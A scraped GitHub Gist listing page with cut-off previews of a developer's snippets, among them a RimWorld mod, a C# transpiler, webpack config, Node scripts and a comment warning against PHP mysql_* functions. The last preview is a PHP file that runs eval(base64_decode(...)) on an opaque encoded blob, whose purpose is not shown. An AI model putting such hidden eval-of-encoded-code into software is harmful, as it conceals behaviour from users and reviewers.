Skip to content

Instantly share code, notes, and snippets.

module PrisonersNeedRecruiting
open Verse
open RimWorld
open System
let translate (key: string) = key.TranslateSimple()
let inline (!>) (x:^a) : ^b = ((^a or ^b) : (static member op_Implicit : ^a -> ^b) x)
type ComparablePawn(pawn: Pawn) =
public IEnumerable<Instruction> Transpiler(IEnumerable<Instruction> codes)
{
var state = TranspilerState.Initial;
foreach (var code of codes)
{
switch (state)
{
case TranspilerState.Initial:
if (SomeCondition(code))
{
@MadaraUchiha
MadaraUchiha / mysql_comment.markdown
Last active May 9, 2019 23:07
Don't use MySQL functions in PHP - Comment for Stack Overflow
[**Please, don't use `mysql_*` functions in new code**](http://bit.ly/phpmsql). They are no longer maintained [and are officially deprecated](http://j.mp/XqV7Lp). See the [**red box**](http://j.mp/Te9zIL)? Learn about [*prepared statements*](http://j.mp/T9hLWi) instead, and use [PDO](http://php.net/pdo) or [MySQLi](http://php.net/mysqli) - [this article](http://j.mp/QEx8IB) will help you decide which. If you choose PDO, [here is a good tutorial](http://j.mp/PoWehJ).

Please, don't use mysql_* functions in new code. They are no longer maintained and are officially deprecated. See the red box? Learn about prepared statements instead, and use PDO or MySQLi - this article will help you decide which. If you choose PDO, here is a good tutorial.

class Producer {
start(consumer) {
consumer.start(this);
this.counter = 0;
this.handler = setInterval(() => consumer.data(this.counter++), 1000);
}
stop() {
clearInterval(this.handler);
}
// This is the interesting bit
module: {
rules: [
{
use: [
{
loader: 'awesome-typescript-loader',
options: {
transpileOnly: true, // Note, this means you ignore errors.
// Due to legacy, we ignore errors in TypeScript files too, DON'T DO THIS FOR TS FILES
@MadaraUchiha
MadaraUchiha / in.js
Created October 30, 2017 17:32
flabebe
const request = require('request');
const reqContext = request.defaults({jar: true});
request.get('http://checkin.timewatch.co.il/punch/punch.php', (err, response, body) => {
console.log(JSON.stringify(response.headers));
request.post('http://checkin.timewatch.co.il/punch/punch2.php', {
form: {
comp: 2135,
name: 41,
export async function reserve(req, res) {
try {
const locker = await Locker.find({
where: {
_id: req.params.id
}
});
await handleEntityNotFound(res, true)(locker);
const reservation = req.body.reservation || {};
if (!reservation.tmpToken) {
function foo() {
return
{
foo: "bar"
};
}
<?php
/**************DO NOT MODIFY ANYTHING PAST THIS POINT*************/
eval(base64_decode("JF9fRklMRV9fPV9fRklMRV9fOyRfWD0nTSNpb0NHbk5ucSshRC83QWIyCnFwIW8wPDYzdE9sa0wxdG9vbCtQdDJNOGtNeUlFCUxEeDcmdjY+aDtxaFBvPi9NT3NIZGVleDwjdjwyMCM+NEJpJD9ldDM2ejxjZkVmejBNCWpqQ2c0S2dGOHd0NWp4CW12NTIhS2JJS3NIc2skaXBrQmpIQThjdXkzOTJnM3hlZ3R2TCZFMTdudmcjUDQKSSM4YzVNd3RlI04vdmp3SDJ1TGY1cgk0clB6CWQydDYwSDBuc29nQms0Z3chOGQ/KyNDMU0JZHoJPHBIY0VJRjA7d3I5NkRzZQl1RzlCbz9JbjFkdjhzCj5paHJLQ2Uzd3o3TkhLPEw4NAp2ZglnSHV2OT5sP1AjCkY8YzRLTEFnc0g/I2QxSHBkdWYKNiRHQXVpNDBwdzgJPzNxdUt6OTAyazJlMUpoJmsJaGZNPmJMRzF4diZnTysrN1BIJmhhK3RtYjVIMko5TUdjMjw4Q1BqdUw2Tkk0eWQ/c3RHJnRiZwp0T2czJAlDTDQkYmw/SjAmYzM0Rm9uQmRoeDcyNXlycCZkeGhoJjFKP2k5cyZyUGN3ZgliZXY/az8hcWFiRXU5YXo2R3l1dVA0RiNueW5KbkIyaCs1akoJL2UkOXpDTiR1OGdhO3pKJDdFck5CbWo/Q2IJOzxCZTZybWphQ3kreUROb05taDNqaWZGb2M2d28zbThQZzYyakpleDQwOUp6cHIhKzdkCgp3aEVDQTQ4ampCT3M+JmJxZCRzeCtkMXdQSC9DMXNmPjcmaStqdzVtd08jMm9GaiZDY3I0CTVvPnhEczw0IXozMXBNeG0xYUI0IWpzMj8xczk7RFBoZiEKaTYrck5kbkVkaiRjciM7PFBmM20KR1AyNSQ/Tk